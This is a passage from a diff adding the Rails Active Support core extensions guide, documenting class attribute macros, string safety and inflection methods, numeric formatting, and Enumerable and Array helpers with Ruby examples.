+    class_attribute :table_name_prefix, :instance_writer => false
+    self.table_name_prefix = ""
+  end
+end
+</ruby>
+
+A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
+
+The generation of the reader instance method can be prevented by setting the option +:instance_reader+ to +false+.
+
+<ruby>
+class A
+  class_attribute :x, :instance_reader => false
+end
+
+A.new.x = 1 # NoMethodError
+</ruby>
+
+For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+.
+
+When +:instance_reader+ is +false+, the instance predicate returns a +NoMethodError+ just like the reader method.
+
+NOTE: Defined in +active_support/core_ext/class/attribute.rb+
+
+h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+
+
+The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
+
+<ruby>
+class MysqlAdapter < AbstractAdapter
+  # Generates class methods to access @@emulate_booleans.
+  cattr_accessor :emulate_booleans
+  self.emulate_booleans = true
+end
+</ruby>
+
+Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with +class_attribute+ (see above). For example given
+
+<ruby>
+module ActionView
+  class Base
+    cattr_accessor :field_error_proc
+    @@field_error_proc = Proc.new{ ... }
+  end
+end
+</ruby>
+
+we can access +field_error_proc+ in views.
+
+The generation of the reader instance method can be prevented by setting +:instance_reader+ to +false+ and the generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+. Generation of both methods can be prevented by setting +:instance_accessor+ to +false+. In all cases, the value must be exactly +false+ and not any false value.
+
+<ruby>
+module A
+  class B
+    # No first_name instance reader is generated.
+    cattr_accessor :first_name, :instance_reader => false
+    # No last_name= instance writer is generated.
+    cattr_accessor :last_name, :instance_writer => false
+    # No surname instance reader or surname= writer is generated.
+    cattr_accessor :surname, :instance_accessor => false
+  end
+end
+</ruby>
+
+A model may find it useful to set +:instance_accessor+ to +false+ as a way to prevent mass-assignment from setting the attribute.
+
+NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+.
+
+h4. Subclasses & Descendants
+
+h5. +subclasses+
+
+The +subclasses+ method returns the subclasses of the receiver:
+
+<ruby>
+class C; end
+C.subclasses # => []
+
+class B < C; end
+C.subclasses # => [B]
+
+class A < B; end
+C.subclasses # => [B]
+
+class D < C; end
+C.subclasses # => [B, D]
+</ruby>
+
+The order in which these classes are returned is unspecified.
+
+WARNING: This method is redefined in some Rails core classes but should be all compatible in Rails 3.1.
+
+NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
+
+h5. +descendants+
+
+The +descendants+ method returns all classes that are <tt>&lt;</tt> than its receiver:
+
+<ruby>
+class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+</ruby>
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
+
+h3. Extensions to +String+
+
+h4. Output Safety
+
+h5. Motivation
+
+Inserting data into HTML templates needs extra care. For example, you can't just interpolate +@review.title+ verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks.
+
+h5. Safe Strings
+
+Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
+
+Strings are considered to be <i>unsafe</i> by default:
+
+<ruby>
+"".html_safe? # => false
+</ruby>
+
+You can obtain a safe string from a given one with the +html_safe+ method:
+
+<ruby>
+s = "".html_safe
+s.html_safe? # => true
+</ruby>
+
+It is important to understand that +html_safe+ performs no escaping whatsoever, it is just an assertion:
+
+<ruby>
+s = "<script>...</script>".html_safe
+s.html_safe? # => true
+s            # => "<script>...</script>"
+</ruby>
+
+It is your responsibility to ensure calling +html_safe+ on a particular string is fine.
+
+If you append onto a safe string, either in-place with +concat+/<tt><<</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped:
+
+<ruby>
+"".html_safe + "<" # => "&lt;"
+</ruby>
+
+Safe arguments are directly appended:
+
+<ruby>
+"".html_safe + "<".html_safe # => "<"
+</ruby>
+
+These methods should not be used in ordinary views. In Rails 3 unsafe values are automatically escaped:
+
+<erb>
+<%= @review.title %> <%# fine in Rails 3, escaped if needed %>
+</erb>
+
+To insert something verbatim use the +raw+ helper rather than calling +html_safe+:
+
+<erb>
+<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
+</erb>
+
+or, equivalently, use <tt><%==</tt>:
+
+<erb>
+<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
+</erb>
+
+The +raw+ helper calls +html_safe+ for you:
+
+<ruby>
+def raw(stringish)
+  stringish.to_s.html_safe
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/output_safety.rb+.
+
+h5. Transformation
+
+As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +downcase+, +gsub+, +strip+, +chomp+, +underscore+, etc.
+
+In the case of in-place transformations like +gsub!+ the receiver itself becomes unsafe.
+
+INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
+
+h5. Conversion and Coercion
+
+Calling +to_s+ on a safe string returns a safe string, but coercion with +to_str+ returns an unsafe string.
+
+h5. Copying
+
+Calling +dup+ or +clone+ on safe strings yields safe strings.
+
+h4. +squish+
+
+The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
+
+<ruby>
+" \n  foo\n\r \t bar \n".squish # => "foo bar"
+</ruby>
+
+There's also the destructive version +String#squish!+.
+
+NOTE: Defined in +active_support/core_ext/string/filters.rb+.
+
+h4. +truncate+
+
+The method +truncate+ returns a copy of its receiver truncated after a given +length+:
+
+<ruby>
+"Oh dear! Oh dear! I shall be late!".truncate(20)
+# => "Oh dear! Oh dear!..."
+</ruby>
+
+Ellipsis can be customized with the +:omission+ option:
+
+<ruby>
+"Oh dear! Oh dear! I shall be late!".truncate(20, :omission => '&hellip;')
+# => "Oh dear! Oh &hellip;"
+</ruby>
+
+Note in particular that truncation takes into account the length of the omission string.
+
+Pass a +:separator+ to truncate the string at a natural break:
+
+<ruby>
+"Oh dear! Oh dear! I shall be late!".truncate(18)
+# => "Oh dear! Oh dea..."
+"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => ' ')
+# => "Oh dear! Oh..."
+</ruby>
+
+The option +:separator+ can be a regexp:
+
+<ruby>
+"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => /\s/)
+# => "Oh dear! Oh..."
+</ruby>
+
+In above examples "dear" gets cut first, but then +:separator+ prevents it.
+
+NOTE: Defined in +active_support/core_ext/string/filters.rb+.
+
+h4. +inquiry+
+
+The <tt>inquiry</tt> method converts a string into a +StringInquirer+ object making equality checks prettier.
+
+<ruby>
+"production".inquiry.production? # => true
+"active".inquiry.inactive?       # => false
+</ruby>
+
+h4. +starts_with?+ and +ends_with?+
+
+Active Support defines 3rd person aliases of +String#start_with?+ and +String#end_with?+:
+
+<ruby>
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o")   # => true
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/starts_ends_with.rb+.
+
+h4. +strip_heredoc+
+
+The method +strip_heredoc+ strips indentation in heredocs.
+
+For example in
+
+<ruby>
+if options[:usage]
+  puts <<-USAGE.strip_heredoc
+    This command does such and such.
+
+    Supported options are:
+      -h         This message
+      ...
+  USAGE
+end
+</ruby>
+
+the user would see the usage message aligned against the left margin.
+
+Technically, it looks for the least indented line in the whole string, and removes
+that amount of leading whitespace.
+
+NOTE: Defined in +active_support/core_ext/string/strip.rb+.
+
+h4. +indent+
+
+Indents the lines in the receiver:
+
+<ruby>
+<<EOS.indent(2)
+def some_method
+  some_code
+end
+EOS
+# =>
+  def some_method
+    some_code
+  end
+</ruby>
+
+The second argument, +indent_string+, specifies which indent string to use. The default is +nil+, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.
+
+<ruby>
+"  foo".indent(2)        # => "    foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t")    # => "\t\tfoo"
+</ruby>
+
+While +indent_string+ is tipically one space or tab, it may be any string.
+
+The third argument, +indent_empty_lines+, is a flag that says whether empty lines should be indented. Default is false.
+
+<ruby>
+"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+</ruby>
+
+The +indent!+ method performs indentation in-place.
+
+h4. Access
+
+h5. +at(position)+
+
+Returns the character of the string at position +position+:
+
+<ruby>
+"hello".at(0)  # => "h"
+"hello".at(4)  # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => nil
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h5. +from(position)+
+
+Returns the substring of the string starting at position +position+:
+
+<ruby>
+"hello".from(0)  # => "hello"
+"hello".from(2)  # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => "" if < 1.9, nil in 1.9
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h5. +to(position)+
+
+Returns the substring of the string up to position +position+:
+
+<ruby>
+"hello".to(0)  # => "h"
+"hello".to(2)  # => "hel"
+"hello".to(-2) # => "hell"
+"hello".to(10) # => "hello"
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h5. +first(limit = 1)+
+
+The call +str.first(n)+ is equivalent to +str.to(n-1)+ if +n+ > 0, and returns an empty string for +n+ == 0.
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h5. +last(limit = 1)+
+
+The call +str.last(n)+ is equivalent to +str.from(-n)+ if +n+ > 0, and returns an empty string for +n+ == 0.
+
+NOTE: Defined in +active_support/core_ext/string/access.rb+.
+
+h4. Inflections
+
+h5. +pluralize+
+
+The method +pluralize+ returns the plural of its receiver:
+
+<ruby>
+"table".pluralize     # => "tables"
+"ruby".pluralize      # => "rubies"
+"equipment".pluralize # => "equipment"
+</ruby>
+
+As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments.
+
++pluralize+ can also take an optional +count+ parameter.  If <tt>count == 1</tt> the singular form will be returned.  For any other value of +count+ the plural form will be returned:
+
+<ruby>
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+</ruby>
+
+Active Record uses this method to compute the default table name that corresponds to a model:
+
+<ruby>
+# active_record/base.rb
+def undecorated_table_name(class_name = base_class.name)
+  table_name = class_name.to_s.demodulize.underscore
+  table_name = table_name.pluralize if pluralize_table_names
+  table_name
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +singularize+
+
+The inverse of +pluralize+:
+
+<ruby>
+"tables".singularize    # => "table"
+"rubies".singularize    # => "ruby"
+"equipment".singularize # => "equipment"
+</ruby>
+
+Associations compute the name of the corresponding default associated class using this method:
+
+<ruby>
+# active_record/reflection.rb
+def derive_class_name
+  class_name = name.to_s.camelize
+  class_name = class_name.singularize if collection?
+  class_name
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +camelize+
+
+The method +camelize+ returns its receiver in camel case:
+
+<ruby>
+"product".camelize    # => "Product"
+"admin_user".camelize # => "AdminUser"
+</ruby>
+
+As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
+
+<ruby>
+"backoffice/session".camelize # => "Backoffice::Session"
+</ruby>
+
+For example, Action Pack uses this method to load the class that provides a certain session store:
+
+<ruby>
+# action_controller/metal/session_management.rb
+def session_store=(store)
+  if store == :active_record_store
+    self.session_store = ActiveRecord::SessionStore
+  else
+    @@session_store = store.is_a?(Symbol) ?
+      ActionDispatch::Session.const_get(store.to_s.camelize) :
+      store
+  end
+end
+</ruby>
+
++camelize+ accepts an optional argument, it can be +:upper+ (default), or +:lower+. With the latter the first letter becomes lowercase:
+
+<ruby>
+"visual_effect".camelize(:lower) # => "visualEffect"
+</ruby>
+
+That may be handy to compute method names in a language that follows that convention, for example JavaScript.
+
+INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. To support cases such as this, Active Support allows you to specify acronyms in +config/initializers/inflections.rb+:
+
+<ruby>
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.acronym 'SSL'
+end
+
+"SSLError".underscore.camelize #=> "SSLError"
+</ruby>
+
++camelize+ is aliased to +camelcase+.
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +underscore+
+
+The method +underscore+ goes the other way around, from camel case to paths:
+
+<ruby>
+"Product".underscore   # => "product"
+"AdminUser".underscore # => "admin_user"
+</ruby>
+
+Also converts "::" back to "/":
+
+<ruby>
+"Backoffice::Session".underscore # => "backoffice/session"
+</ruby>
+
+and understands strings that start with lowercase:
+
+<ruby>
+"visualEffect".underscore # => "visual_effect"
+</ruby>
+
++underscore+ accepts no argument though.
+
+Rails class and module autoloading uses +underscore+ to infer the relative path without extension of a file that would define a given missing constant:
+
+<ruby>
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+  ...
+  qualified_name = qualified_name_for from_mod, const_name
+  path_suffix = qualified_name.underscore
+  ...
+end
+</ruby>
+
+INFO: As a rule of thumb you can think of +underscore+ as the inverse of +camelize+, though there are cases where that does not hold. For example, <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>.
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +titleize+
+
+The method +titleize+ capitalizes the words in the receiver:
+
+<ruby>
+"alice in wonderland".titleize # => "Alice In Wonderland"
+"fermat's enigma".titleize     # => "Fermat's Enigma"
+</ruby>
+
++titleize+ is aliased to +titlecase+.
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +dasherize+
+
+The method +dasherize+ replaces the underscores in the receiver with dashes:
+
+<ruby>
+"name".dasherize         # => "name"
+"contact_data".dasherize # => "contact-data"
+</ruby>
+
+The XML serializer of models uses this method to dasherize node names:
+
+<ruby>
+# active_model/serializers/xml.rb
+def reformat_name(name)
+  name = name.camelize if camelize?
+  dasherize? ? name.dasherize : name
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +demodulize+
+
+Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it:
+
+<ruby>
+"Product".demodulize                        # => "Product"
+"Backoffice::UsersController".demodulize    # => "UsersController"
+"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+</ruby>
+
+Active Record for example uses this method to compute the name of a counter cache column:
+
+<ruby>
+# active_record/reflection.rb
+def counter_cache_column
+  if options[:counter_cache] == true
+    "#{active_record.name.demodulize.underscore.pluralize}_count"
+  elsif options[:counter_cache]
+    options[:counter_cache]
+  end
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +deconstantize+
+
+Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container:
+
+<ruby>
+"Product".deconstantize                        # => ""
+"Backoffice::UsersController".deconstantize    # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+</ruby>
+
+Active Support for example uses this method in +Module#qualified_const_set+:
+
+<ruby>
+def qualified_const_set(path, value)
+  QualifiedConstUtils.raise_if_absolute(path)
+
+  const_name = path.demodulize
+  mod_name = path.deconstantize
+  mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+  mod.const_set(const_name, value)
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +parameterize+
+
+The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs.
+
+<ruby>
+"John Smith".parameterize # => "john-smith"
+"Kurt Gödel".parameterize # => "kurt-godel"
+</ruby>
+
+In fact, the result string is wrapped in an instance of +ActiveSupport::Multibyte::Chars+.
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +tableize+
+
+The method +tableize+ is +underscore+ followed by +pluralize+.
+
+<ruby>
+"Person".tableize      # => "people"
+"Invoice".tableize     # => "invoices"
+"InvoiceLine".tableize # => "invoice_lines"
+</ruby>
+
+As a rule of thumb, +tableize+ returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight +tableize+ indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +classify+
+
+The method +classify+ is the inverse of +tableize+. It gives you the class name corresponding to a table name:
+
+<ruby>
+"people".classify        # => "Person"
+"invoices".classify      # => "Invoice"
+"invoice_lines".classify # => "InvoiceLine"
+</ruby>
+
+The method understands qualified table names:
+
+<ruby>
+"highrise_production.companies".classify # => "Company"
+</ruby>
+
+Note that +classify+ returns a class name as a string. You can get the actual class object invoking +constantize+ on it, explained next.
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +constantize+
+
+The method +constantize+ resolves the constant reference expression in its receiver:
+
+<ruby>
+"Fixnum".constantize # => Fixnum
+
+module M
+  X = 1
+end
+"M::X".constantize # => 1
+</ruby>
+
+If the string evaluates to no known constant, or its content is not even a valid constant name, +constantize+ raises +NameError+.
+
+Constant name resolution by +constantize+ starts always at the top-level +Object+ even if there is no leading "::".
+
+<ruby>
+X = :in_Object
+module M
+  X = :in_M
+
+  X                 # => :in_M
+  "::X".constantize # => :in_Object
+  "X".constantize   # => :in_Object (!)
+end
+</ruby>
+
+So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
+
+Mailer test cases obtain the mailer being tested from the name of the test class using +constantize+:
+
+<ruby>
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+  name.sub(/Test$/, '').constantize
+rescue NameError => e
+  raise NonInferrableMailerError.new(name)
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +humanize+
+
+The method +humanize+ gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
+
+<ruby>
+"name".humanize           # => "Name"
+"author_id".humanize      # => "Author"
+"comments_count".humanize # => "Comments count"
+</ruby>
+
+The helper method +full_messages+ uses +humanize+ as a fallback to include attribute names:
+
+<ruby>
+def full_messages
+  full_messages = []
+
+  each do |attribute, messages|
+    ...
+    attr_name = attribute.to_s.gsub('.', '_').humanize
+    attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
+    ...
+  end
+
+  full_messages
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h5. +foreign_key+
+
+The method +foreign_key+ gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
+
+<ruby>
+"User".foreign_key           # => "user_id"
+"InvoiceLine".foreign_key    # => "invoice_line_id"
+"Admin::Session".foreign_key # => "session_id"
+</ruby>
+
+Pass a false argument if you do not want the underscore in "_id":
+
+<ruby>
+"User".foreign_key(false) # => "userid"
+</ruby>
+
+Associations use this method to infer foreign keys, for example +has_one+ and +has_many+ do this:
+
+<ruby>
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
+h4(#string-conversions). Conversions
+
+h5. +to_date+, +to_time+, +to_datetime+
+
+The methods +to_date+, +to_time+, and +to_datetime+ are basically convenience wrappers around +Date._parse+:
+
+<ruby>
+"2010-07-27".to_date              # => Tue, 27 Jul 2010
+"2010-07-27 23:37:00".to_time     # => Tue Jul 27 23:37:00 UTC 2010
+"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
+</ruby>
+
++to_time+ receives an optional argument +:utc+ or +:local+, to indicate which time zone you want the time in:
+
+<ruby>
+"2010-07-27 23:42:00".to_time(:utc)   # => Tue Jul 27 23:42:00 UTC 2010
+"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
+</ruby>
+
+Default is +:utc+.
+
+Please refer to the documentation of +Date._parse+ for further details.
+
+INFO: The three of them return +nil+ for blank receivers.
+
+NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
+
+h3. Extensions to +Numeric+
+
+h4. Bytes
+
+All numbers respond to these methods:
+
+<ruby>
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+</ruby>
+
+They return the corresponding amount of bytes, using a conversion factor of 1024:
+
+<ruby>
+2.kilobytes   # => 2048
+3.megabytes   # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes   # => -4611686018427387904
+</ruby>
+
+Singular forms are aliased so you are able to say:
+
+<ruby>
+1.megabyte # => 1048576
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/numeric/bytes.rb+.
+
+h4. Time
+
+Enables the use of time calculations and declarations, like @45.minutes <plus> 2.hours <plus> 4.years@.
+
+These methods use Time#advance for precise date calculations when using from_now, ago, etc.
+as well as adding or subtracting their results from a Time object. For example:
+
+<ruby>
+# equivalent to Time.current.advance(:months => 1)
+1.month.from_now
+
+# equivalent to Time.current.advance(:years => 2)
+2.years.from_now
+
+# equivalent to Time.current.advance(:months => 4, :years => 5)
+(4.months + 5.years).from_now
+</ruby>
+
+While these methods provide precise calculation when used as in the examples above, care
+should be taken to note that this is not true if the result of `months', `years', etc is
+converted before use:
+
+<ruby>
+# equivalent to 30.days.to_i.from_now
+1.month.to_i.from_now
+
+# equivalent to 365.25.days.to_f.from_now
+1.year.to_f.from_now
+</ruby>
+
+In such cases, Ruby's core
+Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
+Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
+date and time arithmetic.
+
+NOTE: Defined in +active_support/core_ext/numeric/time.rb+.
+
+h4. Formatting
+
+Enables the formatting of numbers in a variety of ways.
+
+Produce a string representation of a number as a telephone number:
+
+<ruby>
+5551234.to_s(:phone)
+# => 555-1234
+1235551234.to_s(:phone)
+# => 123-555-1234
+1235551234.to_s(:phone, :area_code => true)
+# => (123) 555-1234
+1235551234.to_s(:phone, :delimiter => " ")
+# => 123 555 1234
+1235551234.to_s(:phone, :area_code => true, :extension => 555)
+# => (123) 555-1234 x 555
+1235551234.to_s(:phone, :country_code => 1)
+# => +1-123-555-1234
+</ruby>
+
+Produce a string representation of a number as currency:
+
+<ruby>
+1234567890.50.to_s(:currency)                    # => $1,234,567,890.50
+1234567890.506.to_s(:currency)                   # => $1,234,567,890.51
+1234567890.506.to_s(:currency, :precision => 3)  # => $1,234,567,890.506
+</ruby>
+
+Produce a string representation of a number as a percentage:
+
+<ruby>
+100.to_s(:percentage)
+# => 100.000%
+100.to_s(:percentage, :precision => 0)
+# => 100%
+1000.to_s(:percentage, :delimiter => '.', :separator => ',')
+# => 1.000,000%
+302.24398923423.to_s(:percentage, :precision => 5)
+# => 302.24399%
+</ruby>
+
+Produce a string representation of a number in delimited form:
+
+<ruby>
+12345678.to_s(:delimited)                        # => 12,345,678
+12345678.05.to_s(:delimited)                     # => 12,345,678.05
+12345678.to_s(:delimited, :delimiter => ".")     # => 12.345.678
+12345678.to_s(:delimited, :delimiter => ",")     # => 12,345,678
+12345678.05.to_s(:delimited, :separator => " ")  # => 12,345,678 05
+</ruby>
+
+Produce a string representation of a number rounded to a precision:
+
+<ruby>
+111.2345.to_s(:rounded)                        # => 111.235
+111.2345.to_s(:rounded, :precision => 2)       # => 111.23
+13.to_s(:rounded, :precision => 5)             # => 13.00000
+389.32314.to_s(:rounded, :precision => 0)      # => 389
+111.2345.to_s(:rounded, :significant => true)  # => 111
+</ruby>
+
+Produce a string representation of a number as a human-readable number of bytes:
+
+<ruby>
+123.to_s(:human_size)            # => 123 Bytes
+1234.to_s(:human_size)           # => 1.21 KB
+12345.to_s(:human_size)          # => 12.1 KB
+1234567.to_s(:human_size)        # => 1.18 MB
+1234567890.to_s(:human_size)     # => 1.15 GB
+1234567890123.to_s(:human_size)  # => 1.12 TB
+</ruby>
+
+Produce a string representation of a number in human-readable words:
+
+<ruby>
+123.to_s(:human)               # => "123"
+1234.to_s(:human)              # => "1.23 Thousand"
+12345.to_s(:human)             # => "12.3 Thousand"
+1234567.to_s(:human)           # => "1.23 Million"
+1234567890.to_s(:human)        # => "1.23 Billion"
+1234567890123.to_s(:human)     # => "1.23 Trillion"
+1234567890123456.to_s(:human)  # => "1.23 Quadrillion"
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/numeric/formatting.rb+.
+
+h3. Extensions to +Integer+
+
+h4. +multiple_of?+
+
+The method +multiple_of?+ tests whether an integer is multiple of the argument:
+
+<ruby>
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/integer/multiple.rb+.
+
+h4. +ordinal+
+
+The method +ordinal+ returns the ordinal suffix string corresponding to the receiver integer:
+
+<ruby>
+1.ordinal    # => "st"
+2.ordinal    # => "nd"
+53.ordinal   # => "rd"
+2009.ordinal # => "th"
+-21.ordinal  # => "st"
+-134.ordinal # => "th"
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
+
+h4. +ordinalize+
+
+The method +ordinalize+ returns the ordinal string corresponding to the receiver integer. In comparison, note that the +ordinal+ method returns *only* the suffix string.
+
+<ruby>
+1.ordinalize    # => "1st"
+2.ordinalize    # => "2nd"
+53.ordinalize   # => "53rd"
+2009.ordinalize # => "2009th"
+-21.ordinalize  # => "-21st"
+-134.ordinalize # => "-134th"
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/integer/inflections.rb+.
+
+h3. Extensions to +BigDecimal+
+
+...
+
+h3. Extensions to +Enumerable+
+
+h4. +sum+
+
+The method +sum+ adds the elements of an enumerable:
+
+<ruby>
+[1, 2, 3].sum # => 6
+(1..100).sum  # => 5050
+</ruby>
+
+Addition only assumes the elements respond to <tt>+</tt>:
+
+<ruby>
+[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum             # => "foobarbaz"
+{:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1]
+</ruby>
+
+The sum of an empty collection is zero by default, but this is customizable:
+
+<ruby>
+[].sum    # => 0
+[].sum(1) # => 1
+</ruby>
+
+If a block is given, +sum+ becomes an iterator that yields the elements of the collection and sums the returned values:
+
+<ruby>
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum    # => 30
+</ruby>
+
+The sum of an empty receiver can be customized in this form as well:
+
+<ruby>
+[].sum(1) {|n| n**3} # => 1
+</ruby>
+
+The method +ActiveRecord::Observer#observed_subclasses+ for example is implemented this way:
+
+<ruby>
+def observed_subclasses
+  observed_classes.sum([]) { |klass| klass.send(:subclasses) }
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h4. +index_by+
+
+The method +index_by+ generates a hash with the elements of an enumerable indexed by some key.
+
+It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
+
+<ruby>
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+</ruby>
+
+WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h4. +many?+
+
+The method +many?+ is shorthand for +collection.size > 1+:
+
+<erb>
+<% if pages.many? %>
+  <%= pagination_links %>
+<% end %>
+</erb>
+
+If an optional block is given, +many?+ only takes into account those elements that return true:
+
+<ruby>
+@see_more = videos.many? {|video| video.category == params[:category]}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h4. +exclude?+
+
+The predicate +exclude?+ tests whether a given object does *not* belong to the collection. It is the negation of the built-in +include?+:
+
+<ruby>
+to_visit << node if visited.exclude?(node)
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/enumerable.rb+.
+
+h3. Extensions to +Array+
+
+h4. Accessing
+
+Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
+
+<ruby>
+%w(a b c d).to(2) # => %w(a b c)
+[].to(7)          # => []
+</ruby>
+
+Similarly, +from+ returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
+
+<ruby>
+%w(a b c d).from(2)  # => %w(c d)
+%w(a b c d).from(10) # => []
+[].from(0)           # => []
+</ruby>
+
+The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is built-in). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available.
+
+<ruby>
+%w(a b c d).third # => c
+%w(a b c d).fifth # => nil
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/access.rb+.
+
+h4. Adding Elements
+
+h5. +prepend+
+
+This method is an alias of <tt>Array#unshift</tt>.
+
+<ruby>
+%w(a b c d).prepend('e')  # => %w(e a b c d)
+[].prepend(10)            # => [10]
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
+
+h5. +append+
+
